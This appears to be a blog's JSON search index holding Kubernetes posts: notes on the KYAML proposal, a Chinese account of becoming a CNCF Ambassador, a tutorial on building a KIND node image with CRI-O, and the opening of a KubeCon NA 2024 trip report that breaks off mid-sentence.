\u0026#34;targetPort\u0026#34;: 8080, }, ], \u0026#34;type\u0026#34;: \u0026#34;NodePort\u0026#34;, }, } These are invalid JSON because JSON does not allow comments, but they are valid YAML.\nKYAML starts structs with {}, just like JSON. So, how do you tell whether the content is YAML or JSON?\nTo solve this, KYAML requires the document to start with a separator (---). This simultaneously resolves ambiguity between KYAML and JSON and separates ill-formed JSON.\nOnce {} and [] are introduced, debates arise (e.g., whether to put brackets on new lines or inline). According to the KEP, the preference is to write them inline to save vertical space. Here’s the original text:\nKYAML also tries to economize on vertical space by \u0026ldquo;cuddling\u0026rdquo; some kinds of brackets together.\nThe design concepts have been covered up to this point. Due to the length of the article, those interested in the design details can refer directly to the KEP for further reading.\nIn short, the final output will look something like this when running kubectl get -o kyaml svc hostnames:\n--- { apiVersion: \u0026#34;v1\u0026#34;, kind: \u0026#34;Service\u0026#34;, metadata: { creationTimestamp: \u0026#34;2025-05-09T21:14:40Z\u0026#34;, labels: { app: \u0026#34;hostnames\u0026#34;, }, name: \u0026#34;hostnames\u0026#34;, namespace: \u0026#34;default\u0026#34;, resourceVersion: \u0026#34;37697\u0026#34;, uid: \u0026#34;7aad616c-1686-4231-b32e-5ec68a738bba\u0026#34;, }, spec: { clusterIP: \u0026#34;10.0.162.160\u0026#34;, clusterIPs: [ \u0026#34;10.0.162.160\u0026#34;, ], internalTrafficPolicy: \u0026#34;Cluster\u0026#34;, ipFamilies: [ \u0026#34;IPv4\u0026#34;, ], ipFamilyPolicy: \u0026#34;SingleStack\u0026#34;, ports: [{ port: 80, protocol: \u0026#34;TCP\u0026#34;, targetPort: 9376, }], selector: { app: \u0026#34;hostnames\u0026#34;, }, sessionAffinity: \u0026#34;None\u0026#34;, type: \u0026#34;ClusterIP\u0026#34;, }, status: { loadBalancer: {}, }, } How to Use # The feature gate isn’t very practical for users on the CLI kubectl side, but a similar approach is the environment variable KUBECTL_KYAML. This is actually quite similar to how kuberc works.\nIn the Alpha stage, you need to set the environment variable KUBECTL_KYAML to true. According to tracking, this will appear in version 1.34.\nIn the Beta stage, it will be enabled by default unless you explicitly set KUBECTL_KYAML to false.\nIn the GA stage, the KUBECTL_KYAML variable will be ignored, and KYAML can be used freely.\nOnce the stage is confirmed, you can run commands like kubectl get -o kyaml ... — yep, just add a “k” inside -o yaml. That’s how simple it is!\nSummary # In one sentence: “KYAML is YAML, but not all YAML is KYAML.”\nPersonally, I think YAML is like JavaScript—weakly typed and causing all sorts of quirks (e.g., 9 + \u0026quot;1\u0026quot; =\u0026gt; \u0026quot;91\u0026quot; or 91 - \u0026quot;1\u0026quot; = 9). KYAML is more like TypeScript, providing strong typing to fix JavaScript’s flaws. The difference is KYAML’s output still complies with the YAML specification.\nIf no major issues arise, I’m optimistic about this improvement. It removes much of YAML’s ambiguity, fixes JSON’s lack of comments, separates ill-formed JSON, and doesn’t require changes to the existing Kubernetes API Server libraries.\nIt’s a win-win situation, and I look forward to other projects hurt by YAML to follow suit and eliminate YAML’s latent problems.\nThis is my first serious read of a KEP and recording my thought process in an article. If you like this kind of content, please hit reactions or leave your thoughts.\nAfterword # Recently, someone on Medium claimed to have access to a \u0026ldquo;Kubernetes 2.0 secret internal test,\u0026rdquo; which some people then shared on social media, saying Kubernetes 2.0 is coming soon, certain features will be removed, and that there’s no need to learn Helm or Argo anymore.\nAt CNTUG, I often encourage everyone that using open source software takes effort, and it’s best to participate in the community to avoid being misled by rumors or false information.\nAt KubeCon talks, SIG members always share new features and release roadmaps. For major version changes like this, all SIGs are expected to follow along. As of mid-2025, the current version is 1.34, and SIG Storage’s roadmap already extends to 1.39—so it’s safe to say a major version update isn’t likely within the next two years.\nMoreover, in Kubernetes Slack discussions, nobody is really talking about a 2.0 timeline. If a 2.0 were really coming, submitting KEPs to change the architecture would be a much more realistic approach.\nReference # KEP-5295: Introducing KYAML, a safer, less ambiguous YAML subset / encoding ","date":"31 July 2025","externalUrl":null,"permalink":"/en/posts/kyaml-introduction/","section":"Posts","summary":"While carrying out some routine Release Signal tasks recently, I stumbled upon a PR titled KYAML. Is the Kubernetes community trying to create another YAML standard? Or is there something special about it?\n","title":"What is KYAML? KEP-5295 Reading Notes","type":"posts"},{"content":"","date":"31 July 2025","externalUrl":null,"permalink":"/en/tags/yaml/","section":"Tags","summary":"","title":"Yaml","type":"tags"},{"content":"","date":"2025/06/02","externalUrl":null,"permalink":"/tags/advocacy/","section":"Tags","summary":"","title":"Advocacy","type":"tags"},{"content":"","date":"2025/06/02","externalUrl":null,"permalink":"/tags/ambassador/","section":"Tags","summary":"","title":"Ambassador","type":"tags"},{"content":"","date":"2025/06/02","externalUrl":null,"permalink":"/tags/community/","section":"Tags","summary":"","title":"Community","type":"tags"},{"content":"最近 CNCF Ambassador 申請已經開始了，順便來跟大家分享去年申請心得，以及我後來擔任推廣大使後的經歷吧！\n有些朋友在社群上問我 CNCF Ambassador（CNCF 推廣大使）要如何申請，擔任推廣大使真的很好玩嗎？會不會需要有更多的工作去做？有什麼需要注意的事情？今天會來帶大家揭開 CNCF Ambassador 的神秘職位。\n初次接觸 CNCF 和 CNTUG 的經歷 # 一開始我實習的公司就是在碰 Kubernetes，但當時還不知道 CNCF 是什麼，只知道裡面有很大的社群在維護，第一次架設 Kubernetes 接觸的專案是 Kubespray（後來在 Kubespray 成為 reviewer 那又是另一個故事了，在那之前根本還不知道 Kubernetes 和 CNCF 之間關係）。\n其他臺灣社群 g0v 的參與下，偶然認識了 CNTUG Infra Labs，看到有免費的主機資源，於是想要撰寫 30 天文章證明一下自己的能力，《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 就是這麼來的，也沒有想到就這樣拿到了 DevOps 組的佳作。於是就藉此繼續參與投入管理作業。\n後來繼續接觸 CNTUG Infra Labs 相關事務後，隔年 (2023) 的 2 月就正式加入 CNTUG (Cloud Native Taiwan User Group) 社群，開始協助籌備 KCD Taiwan 2023，那時候都還算是協助打雜，並且第一次投稿到 KCD Taiwan 意外站上臺演講。\n2023 年 9 月以後，就開始協助舉辦 meetup 活動，不過都是在線上居多，還不一定能直接去現場活動。為了補上非實體的參與差距，同一時間也開始參與 CNCF Glossary 繁體中文翻譯。當時，正好碰上 2023 第二季的 CNCF Ambassador 申請。\n為何會想要成為 Ambassador 和申請過程 # 最初看到 Phil Huang 在 2023 年 3 月成為 CNCF Ambassador 後，就覺得這職位很酷！以一個剛出社會的新鮮人來說，軟體工程師、SRE 這種名稱職位都很普遍。但如果加上 CNCF Ambassador 呢？這無非是對經營社群或技術推廣上的認可，而且只要在 2023 年秋季申請成功，那就是臺灣第二位 Ambassador 呢！\n不過，總要有些挑戰嘛！如果一次就過當然沒意思，我在 2023 年秋季申請寫的洋洋灑灑，除了一些基礎資料、驗證和備註以外，填空題目包含：\nI am interested in becoming a CNCF Ambassador because: What are your goals as an ambassador? What is your area of expertise in cloud native (technical or non-technical)? Describe a positive experience you had in the cloud native community and how this experience impacted you wanting to become an ambassador? Describe a negative experience you had in the cloud native community. If you were an ambassador, what solution do you think could have been applied to help change that experience? 注意：2024 年後的申請，填空題除了「I am interested in becoming a CNCF Ambassador because:」以外，其他四個皆被移除，這邊只是記錄當初申請有哪些欄位，請以當次申請欄位為主。 滿心期待快兩個多月，恭喜！獲得一封 —— 無情拒絕信。\n後來輾轉得知，臺灣還是多了兩位 Ambassador —— 海帶和子篆，都在 WasmEdge 社群中經營一段時間。其實也很合理，畢竟我從加入時間 (2023/02) 算起，社群年份才不到一年，PR 貢獻也沒有別人多。\n這期間依然還是在 CNCF glossary 繼續繁體中文翻譯（同步進行的當然還有論文），很快又來到 2024 年 H1 申請了。\n申請前夕，Phil 問我想不想拿 CNCF Glossary 的繁體中文 Approver，於是就有了這一份 Pull Request。\n從申請到結果還有快兩個月的時間，這期間不能做什麼嗎？\n於是我就突發奇想，我每天去 CLOTributor 找一個 issue 來解（回想起來就是這麼瘋，還是要強調，耐心時間經營才是首選，除非你跟我一樣 LFX 實習被拒絕），從文件更動、CI 修改、程式撰寫，在我能及範圍都做了，也很少被關 PR 過（我固定打開都是被標為 good first issue，同時代表維護者認為需要解決且很好的入門問題，只要在繳交 PR 前後有認真討論實作方向 e.g. jaegertracing/jaeger-ui#2180，都會拿到很好的回饋）。\n最後申請結果如何呢？\n「很幸運」在 2024 H1 申請中拿到了 CNCF Ambassador，說自己「幸運」不是什麼謙虛，相比其他臺灣 Ambassador 成員們的資歷，我還只算是新人呢！\n很好玩的是，我第一次要把自己照片，展示在國際社群的網站上，自己好看的照片並沒有很多，還特別去拍了大頭貼，後續宣傳大多都用這張出去。\n成為 Ambassador 後的福利 # 成為 CNCF Ambassador 不是終點，獲得這職位相當於多了一份責任，代表你是被認可的社群貢獻者了，會比一般參與者有更高的話語權，同時會享受一些 Ambassador 福利，後面來讓我介紹一下：\n專屬 Slack 交流頻道 # CNCF Slack 頻道有 CNCF Ambassador 專屬頻道，裡面會不定期放一些可以讓 CNCF Ambassador 參與的活動，或者是 Ambassador 想要相互分享、宣傳。如果他們有貼 LinkedIn 上去分享，放寬心去跟他們 connect 吧！\nChatLoopBackOff 直播 # 我們要評估或初接觸一個專案時候，通常會怎麼做呢？看文件？直接實作？想知道其他 Ambassador 會怎麼玩嗎？ChatLoopBackOff 就是這樣的存在，Ambassador 會在這一小時直播內玩指定的專案，自由發揮不限目標。\n參與到現在為止一共參與兩場，分別是 WasmCloud 和 Linkerd，我當初也寫了 WasmCloud 的直播後日談，就像我在文章所述：「與其說『介紹 Wasmcloud』，不如說『我在如何學習名為 Wasmcloud 的新領域』。」\nChatLoopBackOff - Episode 33 WasmCloud：\nChatLoopBackOff - Episode 49 Linkerd：\n除此看直播主學習以外，這也在檢驗 —— 專案起始文件的完整度。文件是否有完整的起始攻略，如果有其他公司想要導入新技術，這也會是重要考量。文件是否容易閱讀，直播當中清楚呈現。對使用者、Ambassador 和專案維護者是個寓教於樂的好活動呢！\n不過以參與時間來說，對臺灣來說不算很友善，時間大多都在晚上接近半夜，我參與的兩次分別在 23:00 ~ 00:00 和 01:00 ~ 02:00，可以發現 CNCF ChatLoopBackOff 的 Playlist 為何臺灣、日本、韓國參與較少，如果成為 Ambassador 別忘記去報名體驗看看囉！\nKubeCon 專屬聚會 + 活動折扣碼 + 志工機會 # 除了 ChatLoopBackOff 以外，KubeCon 在第一天早上（CNCF-hosted Co-located Events 的隔天）有專屬的 Ambassador Breakfast，讓大家互相交流彼此認識，時間快到 Keynote 演講的時候，一同前往 Keynote 會場聽議程。\n順帶一提，CNCF 本身會給 Ambassador KubeCon 的折扣碼，比市面上的折扣比例數還多，我後來都直接等 Ambassador 的折扣碼了 XD。\nKubeCon 部分會場活動（像是 Kids Day、Project Pavilion 或 ClashLoopBackOff 等），如果需要志工，很多都會找 CNCF Ambassador 協助。這些經驗不是一般參與者能獲得的機會，不過因為自己英文不算很好就沒有報名，但之後有機會加入參與我會再分享。\nCNCF 證照考試優惠 # Ambassador 還有另一個福利，部分 CNCF 證照是可以免費考試，像我去年 (2024) 12 月的時候把 Kubernetes 證照都考出來，相關內容可以參考另一篇《如何從「有」基礎到三星期內獲取 Kubestronaut 心得》。\nCNCG 舉辦活動核銷 # 辦月聚會通常會需要經費，可能要給講者小禮物或交通費，月聚會只要在 CNCF Community 網站開好，基本上就會給予核銷，一個月 150 美金或三個月 450 美金，該區有多少個 Ambassador 就可以疊多少上去（發票不要有重複核銷都可以）。\nCloud Native Taiwan User Group 的每一場 meetup 都會給講者 CNCF Store 禮物（經費依照該月額度調整），只要投稿跟雲端原生或開源相關（盡量避免 vendor lock-in 或推銷產品），並完成上台分享，你想要的 CNCF Store 商品就有機會獲得。且用且珍惜，現在就趕快點擊連結投稿吧！\nAmbassador 的責任與義務 # 前面知道了 Ambassador 的福利，接下來可以聊聊 Ambassador 的責任和義務了。\n最基礎的義務就是要簽到，每一季要簽到一次，並回報說這一季你做了什麼事，包括但不限於「建立 vlog 文章或影片」、「舉辦 meetup」、「舉辦 KCD 活動」、「主持 Podcast」、「維護者職責」、「活動中擔任講者」、「技術指導小組 / 特別興趣小組職責」、「撰寫部落格文章」等。\n除此之外，還要簡單提供連結（有辦過 meetup 就貼 CNCG 連結、寫文章就貼文章連結），可以不用太長描述。\n一定要每一季都要簽到嗎？如果那一季個人事情很多，沒有時間貢獻或參與社群活動，是可以跟 CNCF 的人講要請假。這職位是無給職，就是一個榮譽，可以協助社群跟 CNCF 對話。\n給未來申請者的建議 # 想要申請成為 CNCF Ambassador 嗎？看起來是很不容易，但我認為實際上沒有很難，需要時間去經營，沒有什麼可以速成的路線，不過我可以提供幾個比較快的方式：\n加入 CNCF 官方在地社群：以臺灣來說就是 Cloud Native Taiwan User Group，並且定期參與月聚會，讓籌備成員對你有印象，盡可能詢問是否有想參與籌備。假設 Community Group 有需要新的人手，下一個就會是你！ 加入 KCD 活動籌備：KCD 今年改爲申請制，國際上每個區域都有限額，不過很幸運的是，我們有一場 KCD Taipei 就在臺灣，不需要特地去飛到國外或配合其他地區的時間。另外，成為 KCD Organizer 有機會申請到 KubeCon 的獎學金，補助機票、住宿、簽證等相關費用，詳細分享可以去看我之前的文章。 定期演講和撰寫技術文章：演講內容和技術文章建議跟 CNCF 或 CNCF 專案相關，演講能到在地社群 —— CNTUG 或 KCD Taipei 發表那更好，也算 CNCF 官方認可活動。另外，需要特別注意的是，技術文章不能在付費牆後面。 參與 CNCF 專案的貢獻：像其他兩位 Ambassador 海帶和子篆，是 WasmEdge 的維護者。我自己也有 Kubespray 的 Code Reviewer 位置。想要找 CNCF 專案貢獻的話，可以去 CLOTributor 網站尋找你的 Good First Issue。或者從你身旁使用的專案觀察，搞不好會有些其他想法！對專案有一定程度的理解，也是可以嘗試申請 LFX Mentorship！ 每一年申請人數是超多，以 CNCF 官方 2024 H1 申請統計，一共收到 452 份申請，179 份接受，其中 119 份是 2023 的續約，錄取率大約 40%。如果續約是 100% 會接受來計算（假設大家都非常完美），新人大約只有 18% (\\(\\frac{179-119}{452-119} = \\frac{60}{333} \\simeq 18.0\\%\\))，至少我知道的國內外夥伴，本身已經在 CNCF 耕耘一段時間了，沒有申請到也不用灰心，為明年度申請繼續準備吧！\n今年有加入的新制度，現任的 CNCF Ambassador 可以協助推薦給 CNCF，可以問問在地的 CNCF Ambassador 協助推薦，雖然不是保證錄取，但對 CNCF Staff 來說可以有些參考。\n結語：下一步與展望 # 對我來說，這過程學到許多，以前參加國際線上會議，英文都講的非常破碎（現在依然也是），常常需要求助社群朋友，但到今天為止，可以自己跟 CNCF 的人單獨開完整場會議了。\n希望這篇文章能夠幫助到想成為 CNCF 推廣大使，期待能在臺灣看到新人出現。如果真的想成為 CNCF Ambassador，不要猶豫，趕快按下連結申請吧！\n","date":"2025/06/02","externalUrl":null,"permalink":"/posts/cncf-ambassador/","section":"Posts","summary":"最近 CNCF Ambassador 申請已經開始了，順便來跟大家分享去年申請心得，以及我後來擔任推廣大使後的經歷吧！\n","title":"讓世界看見你的貢獻：成為 CNCF Ambassador 的旅程分享","type":"posts"},{"content":"","date":"2025/04/14","externalUrl":null,"permalink":"/tags/cri-o/","section":"Tags","summary":"","title":"Cri-O","type":"tags"},{"content":"","date":"2025/04/14","externalUrl":null,"permalink":"/tags/kind/","section":"Tags","summary":"","title":"Kind","type":"tags"},{"content":"KIND 使用 Containerd 作為預設容器 Runtime，但如果有些需求想要換成 CRI-O 呢？\n今天來記錄一下，如何自己編譯出 CRI-O 的 KIND node image 吧！\n工商時間：KCD Taipei 2025 # Kubernetes Community Day (KCD) 是由雲端原生計算基金會 (CNCF) 支持與認證的官方社群組織活動，此會議集結來自開源和雲端原生社群的使用者及技術人員，以進行教育、協作和分享。\nKCD Taipei 2025 即將在 7/5 於臺灣科技大學國際大樓舉辦，是臺灣最大的 CNCF 官方活動，目前正在徵稿和開放 RSVP，趕快去官網了解更多資訊吧！\n官網連結：https://kcd.taipei/2025\n前言 # 前陣子在 CNTUG 2024/10 Meetup #62 準備 Kubernetes v1.31 簡單雜談，有個功能是 ImageVolume，可以用 OCI 當作 Volume 掛載到容器中，但快樂地用 KIND 打開該 Feature Gate 後\u0026hellip;？\n錯誤訊息如下：Failed to pull image \u0026quot;quay.io/crio/artifact:v1\u0026quot;: failed to pull and unpack image \u0026quot;quay.io/crio/artifact:v1\u0026quot;: number of layers and diffIDs don't match: 1 != 0\n居然不能用？腦中冒出無限問號之時，回去仔細看 Kubernetes Blog 發現：\n原來 CRI-O 的版本要 v1.31 以上，那 Containerd 呢？\n雖然現在已經進 main 分支，但去年 10 月準備時還沒有相關實作。那只能先想辦法弄出 CRI-O 的 Kubernetes cluster 呢！可是又覺得 Kubespray 自己裝 VM 好麻煩\u0026hellip;\n那就來自己準備 CRI-O 的 KIND node image 吧！\n環境設定 # MacBook Pro 16” 2023 (M2 Max) Host OS: macOS Sequoia 15.3.2 OrbStack 1.10.3 KIND v0.27.0 用空資料夾準備好 Dockerfile，檔案內容如下：\nARG K8S_VERSION=v1.32.3 FROM kindest/node:${K8S_VERSION:-v1.32.3} ARG CRIO_VERSION=v1.32 RUN echo \u0026#34;Installing Packages ...\u0026#34; \\ \u0026amp;\u0026amp; apt-get clean \\ \u0026amp;\u0026amp; apt-get update -y \\ \u0026amp;\u0026amp; DEBIAN_FRONTEND=noninteractive apt-get install -y \\ software-properties-common vim gnupg \\ \u0026amp;\u0026amp; echo \u0026#34;Installing cri-o ...\u0026#34; \\ \u0026amp;\u0026amp; curl -fsSL https://download.opensuse.org/repositories/isv:/cri-o:/stable:/$CRIO_VERSION/deb/Release.key | gpg --dearmor -o /etc/apt/keyrings/cri-o-apt-keyring.gpg \\ \u0026amp;\u0026amp; echo \u0026#34;deb [signed-by=/etc/apt/keyrings/cri-o-apt-keyring.gpg] https://download.opensuse.org/repositories/isv:/cri-o:/stable:/$CRIO_VERSION/deb/ /\u0026#34; | tee /etc/apt/sources.list.d/cri-o.list \\ \u0026amp;\u0026amp; apt-get update \\ \u0026amp;\u0026amp; DEBIAN_FRONTEND=noninteractive apt-get --option=Dpkg::Options::=--force-confdef install -y cri-o \\ \u0026amp;\u0026amp; sed -i \u0026#39;s/containerd/crio/g\u0026#39; /etc/crictl.yaml \\ \u0026amp;\u0026amp; systemctl disable containerd \\ \u0026amp;\u0026amp; systemctl enable crio 其中兩個引數需要使用，K8S_VERSION 是 Kubernetes 版本，要打上完整版本號碼。CRIO_VERSION 是 CRI-O 版本，不需要打上修正版號，這個會需要加入 apt 套件庫。\n接下來建置指令如下：\ndocker build --build-arg CRIO_VERSION=v1.32 --build-arg K8S_VERSION=v1.32.3 -t kindnode/crio:v1.32.3 . 完成後，就可以用在 KIND 中，不過 KIND 設定檔需要做一些改寫，要把 CRI Socket 改成 CRI-O 的路徑。\nkind-crio.yaml 檔案內容如下：\nkind: Cluster apiVersion: kind.x-k8s.io/v1alpha4 name: crio nodes: - role: control-plane kubeadmConfigPatches: - | kind: InitConfiguration nodeRegistration: criSocket: unix:///var/run/crio/crio.sock - | kind: JoinConfiguration nodeRegistration: criSocket: unix:///var/run/crio/crio.sock - role: worker kubeadmConfigPatches: - | kind: JoinConfiguration nodeRegistration: criSocket: unix:///var/run/crio/crio.sock featureGates: \u0026#34;ImageVolume\u0026#34;: true # 1.31 alpha Worker node 可以依照需求數量往下複製，下一步就是啟動 KIND 叢集：\nkind create cluster --image kindnode/crio:v1.32.3 --config kind-crio.yaml 接下來啟動 KIND 叢集後，來示範是否能正常使用 ImageVolume 功能，驗證成功就代表成功使用 CRI-O 作為預設容器。\noci-vol-sample.yaml 檔案內容如下：\napiVersion: v1 kind: Pod metadata: name: oci-vol-sample spec: containers: - name: test image: registry.k8s.io/e2e-test-images/echoserver:2.3 volumeMounts: - name: volume mountPath: /volume volumes: - name: volume image: reference: quay.io/crio/artifact:v1 pullPolicy: IfNotPresent 套用進去叢集中：\nkubectl apply -f oci-sample.yaml 進去 container 裡面，用 cat 輸出 /volume/file 和 /volume/dir/file。\n分別輸出 2 和 1 就代表功能都正常使用。\n結語 # KIND 雖然預設是 Containerd，但經由適當調整後，可以自行切換到 CRI-O 作為預設容器 Runtime，不知道更底層的 runc 或 crun 是不是也能這樣做？後續可以來研究看看。\nKubernetes v1.31 引入了 Image Volume 功能，為機器學習、深度學習以及大型語言模型（LLM）等應用場景提供了更靈活的資料掛載方式。透過 Image Volume，模型不再需要與應用程式一起打包，應用程式可以在執行時自由替換後端模型，帶來更高的模組化與彈性。\nImage Volume 預計在 Kubernetes v1.33 進入 Beta，預設依然是關閉，如果要使用記得要在 Feature Gate 打開。\n此外，自 Containerd v2.1.0 起，也已經支援 Image Volume，不再是 CRI-O 的獨有功能，但目前 v2.1.0 還在 beta 中，我們就耐心等候吧！\n後記 # 之前就想要用 CRI-O 在 KIND 中，網路上找到方法有些是版本較舊，或有點麻煩，不容易快速測試。\n本篇文章的靈感出自於這篇文章：https://rkiselenko.dev/blog/crio-in-kind/\n原始文章是從頭自己編譯，但我認為應該不是每個步驟都需要，因此最後簡化了原始文章的流程，並且更新 CRI-O 的 apt repo 連結。\n","date":"2025/04/14","externalUrl":null,"permalink":"/posts/kind-crio/","section":"Posts","summary":"KIND 使用 Containerd 作為預設容器 Runtime，但如果有些需求想要換成 CRI-O 呢？\n","title":"KIND 使用 CRI-O 作為預設容器 Runtime","type":"posts"},{"content":"","date":"2025/03/20","externalUrl":null,"permalink":"/tags/conference/","section":"Tags","summary":"","title":"Conference","type":"tags"},{"content":"","date":"2025/03/20","externalUrl":null,"permalink":"/tags/kubecon/","section":"Tags","summary":"","title":"Kubecon","type":"tags"},{"content":"KubeCon + CloudNativeCon（以下簡稱 KubeCon）是雲端原生領域中最大的研討會了，身為 CNCF Ambassador，以及 KCD Taipei 2024 和 Cloud Native Taiwan User Group 共同籌辦者，居然到現在還沒去過 KubeCon？\n背景 # 沒錯，其實這趟 NA 旅程之前，我都沒有去過 KubeCon 或其他國外大型研討會，包含距離比較近的 KubeCon China、KubeDay Japan，一次都沒有。\n原因其實不少，除了剛出社會在存錢外，公司沒有補助經費讓我去，如果公司不補助，出去一趟基本上是要消耗自己的年假。不論怎麼想，我都覺得非常不划算。\n今年 KCD Taipei 2024 結束後，每個月 KCD Organizer 都會固定收到 KCD Monthly Organizer Digest 的信件，內容當中就有提到「KubeCon + CloudNativeCon Scholarships for KCDs」。\n獎學金制度 # 如果你有去看 KubeCon 官網，他們的獎學金名稱叫做「Dan Kohn Scholarship」，專門給沒有機會參與的，大致上分為三種：\n多樣性（Diversity）：開源社群中代表性不足或邊緣化的族群，我應該是沒辦法申請到。 社群活躍度（Need-Based）：這可能算有機會。但 2024 上半年度，我並沒有算太高。 專案維護者（Maintainer）：CNCF 的專案維護者，並且沒有被公司贊助。我還沒有資格。 官網外的制度，其實還有 KCD Organizer，規則很簡單，只要是 KCD Organizer 就可以申請，性質算是 Need-Based 種類，但每場 KCD 只能提名一位。不過還是有幾個標準：\n沒有參加過 KubeCon + CloudNativeCon 今年沒有被 Dan Kohn Scholarship 錄取過 你的公司不會補助你旅費 以第一點來說，那時候八月也有一場 KubeCon HK，我是可以請假自費過去，但後來想想如果要去，乾脆等 NA 外加獎學金。雖然我初估還要自己貼錢，不過怎麼想都還是我比較賺。至於第二點和第三點，完全符合，接下來就是等了。\n去年年初申請 KubeCon EU 的獎學金失敗，是否這次能成功呢？\n總算這次皇天不負苦心人，這次很幸運的拿到獎學金啦！\n那就準備前往 KubeCon NA 囉！\n這篇會以我個人的視角出發，聚焦在我自己的社群經驗。\n不會有太詳細的技術分享，KubeCon NA 2024 所有演講都能在 YouTube 找到。\n出訪心得我也有在社群分享過，簡報已公開，點擊這裡瀏覽，歡迎分享！ 啟程 # 為了方便記錄，我到達時間作為 Day 1。Day 1 和 2 都是 CNCF 主辦的 Co-located 活動（CNCF-hosted Co-located Events），方便稱呼我後續都用 Co-located Events，到 Day 3 以後才是 KubeCon 活動。\nCo-located Events 都會在 KubeCon 開始之前就會進行，大部分都圍繞在 CNCF 專案上，少部分會有 Linux Foundation 專案，也有的是主題式（e.g., 邊緣運算、平台工程等），時間長度通常是半天到一天，臺灣最接近這性質的活動應該是 COSCUP 了，每個議程軌都有自己的教室和各自的演講主題，審稿由各個議程軌自己審核。\nDay 1: Landing # 我當天早上 11 點多到住宿地點，臺灣時間大約是 2 點多，那時候已經非常想睡，但要努力調整時差，儘量不要睡著。\n為了打起精神，只能先往會場逛逛。領完牌子後，旁邊會有幾張貼紙可以拿。\n還記得之前網路上有很流行社交能量條吧？這也是很類似，綠色是「任何人都可以跟我講話」，黃色是「我只跟認識的講話」，紅色是「請勿打擾」，左邊的貼紙就是性別代稱，國外的性別代稱很豐富，也可以貼「不用代稱，直接稱呼名字」。\nWasmCon 是在 Day 1 舉行，雖然之前有在 CNCF 直播過 WasmCloud，但我還是沒有很理解。\n除了 WasmCloud 以外，到了現場還有一個活動是 Kubernetes Contributor Summit North America 2024。欸？我從來沒看過這活動？\n簡單來說，它不會算在 Co-located Events 裡面，你在 KubeCon 官網也不會看到這活動。再者，它不是 All Access Pass 就能參與，他們會有資格審核，註冊條件如下：\n你必須是 KubeCon 的參與者 你必須是 Kubernetes 的組織成員 雖然我這兩個條件有達成，但 RSVP 時間在 11/7 前完成，由於我當天才知道這場活動，只能現在這裡留下懸念了。如果你對 Kubernetes 的貢獻非常有興趣，一定要去注意有沒有 Kubernetes Contributor Summit。\n更新：KubeCon EU 2025 的 Kubernetes Contributor Summit 合併到 Maintainer Summit，參與資格至少要有其一條件：\n沙盒專案 (Sandbox Project) 維護者 孵化專案 (Incubating Project) 組織成員 畢業專案 (Graduated Project) 組織成員 CNCF TOC、TAG Chairs、Technical Leads、Working Group Leads 如果你是 Kubernetes Member 之一，你也具備報名資格。但因為是分開報名還有審核，所以記得要去另外按一下 RSVP。\nDay 2: Project Lightning Talk + CNCF-hosted Co-located Events # 當天的 Co-located Events 有這些：\nAppDeveloperCon ArgoCon BackstageCon Cilium + eBPF Day Cloud Native + Kubernetes AI Day Cloud Native StartupFest Cloud Native University Data on Kubernetes Day EnvoyCon Istio Day Kubernetes on Edge Day Observability Day OpenFeature Summit OpenTofu Day Platform Engineering Day 以上 Co-located Events 都需要 All Access Pass。還有另一個是由 KubeCon 舉辦的 Project Lightning Talk，只要 KubeCon + CloudNativeCon only pass 就可以進去。\n這些所講的內容都是我自己事後理解，那天進到會場我根本不知道要逛哪，隻身一人在人生地不熟，沒有跟團也沒有人帶。\n現場聽演講只是其次而已，主要目的是要跟之前在線上合作或有印象的人線下聊天。\n最一開始我就去找 Jorge，如果有跟過我在 CNCF 的直播活動，他就是那天的主持人，開場介紹後和結束直播前會出現。\n接下來午餐時間就拿餐袋，餐盒種類也很多，雞、牛、素食（Vegetarian）、純素（Vegan）、無麩質（Gluten-free），或者後面也有 Halal（清真食品）、Kosher（猶太潔食）還是有前有先講好的營養需求，會場都會提供。\n我自己算處於探索階段（以職涯或技術社群來說），沒有說下一階段一定要走 Data、Network 還是 Infra 甚至是 Develop，聽議程跟逛會場當下覺得有點迷茫（主題豐富又覺得每個都很好玩），大概聽了 Cilium、Data 還有 Argo，逛到結束再回到 Project Lightning Talk 聽當天最後的幾個議程。\n當天總結下來，收穫比較有限，有些主題我也還沒有很懂，場館大部分還在準備中，能逛的範圍也比較小，只能期待隔天 Ambassador 活動的心情進入夢鄉。\nDay 3: KubeCon Opening, Kubernetes \u0026amp; AI # 我六點多就起床了，為了去參與比 KubeCon 開場更早的活動 - Ambassador Breakfast！\nAmbassador Breakfast 聚集了當天來到現場的 CNCF Ambassador，許多只有在線上互動的人出現在我面前，發揮我自己的「破英文」和鳳梨酥去跟大家交流。\n成員們來自世界各地，連日本（Kensei、Kohei、Toru）和韓國（Seokho）的 Ambassador 跟我一樣坐了很遠的飛機來到了現場。\n拍合照之後，大家一起前往 KubeCon 的 Keynote 會場，並且有專屬保留席。\n聽 Keynote 的過程當中，我翻找稍後的議程，欸？發現楷訓在 KubeCon 講解 Ray 專案，就決定先去拜訪聽一下大神的講解了。\n從簡介 Ray 的專案架構到 online（使用者即時回應）和 offline（離線處理）的使用情境，以及比較 Ray Compiled Graphs 和 Ray Core 效能，最後講解 Dynamic Resource Allocation with KubeRay。等他講完後再跟他相認、交流。\n下午我沒有特別聽演講，大部分時間都在逛逛會場，還有玩「Google 牌」的大地遊戲。至於為何是說「Google 牌」？官方沒有指定去跑大地遊戲，但 Google 有跟幾家廠商合作，只要在上面蓋好指定廠家的印章，就會送 Google Cloud 衣服。\n要如何拿到印章？名牌中間的 QR Code 就是參加者資訊了，基本上要給廠商掃描才能蓋章。或者廠商會有互動小遊戲，像是 BashBrawl 輸入指定語言擁有的指令、關鍵字。\n不過你能想像研討會有電動遊戲機嗎？至少我去 KubeCon 前我是沒有想過這件事，臺灣的最大規模研討會你也不會見到。\n還有迎合冬天氣氛的滑雪模擬機，經典遊戲 Pac-man 和彈珠台等，但滑雪模擬機很難操作。\n除此之外，還有 Ambassador meeting，不過是非公開，基本上沒辦法公開透露的都可以跟 Katie 反應，具體說了什麼是不能透露，但我可以說至少 CNCF 是有在聽的，對 CNCF 許願或需要改進，我們 Ambassador 都可以協助呈報上去，幫助這個社群更好。\nKubeCon 的第一天議程結束 (18:00) 後，就會開始「#KubeCrawl + #CloudNativeFest」活動，大家都會在 Solutions Showcase 場館，會眾跟廠商互動，CNCF 也會有 ClashLoopBackOff 活動。\nClashLoopBackOff 流程是這樣的，主持人會在台上控場和公布挑戰題目，兩位參賽者事前不會知道題目（不允許使用預先編寫腳本、程式碼或建立雲端資源），題目可能會有嘗試修復故障的 Kubernetes 叢集，或是將服務部署到正式環境。參賽者要在 20 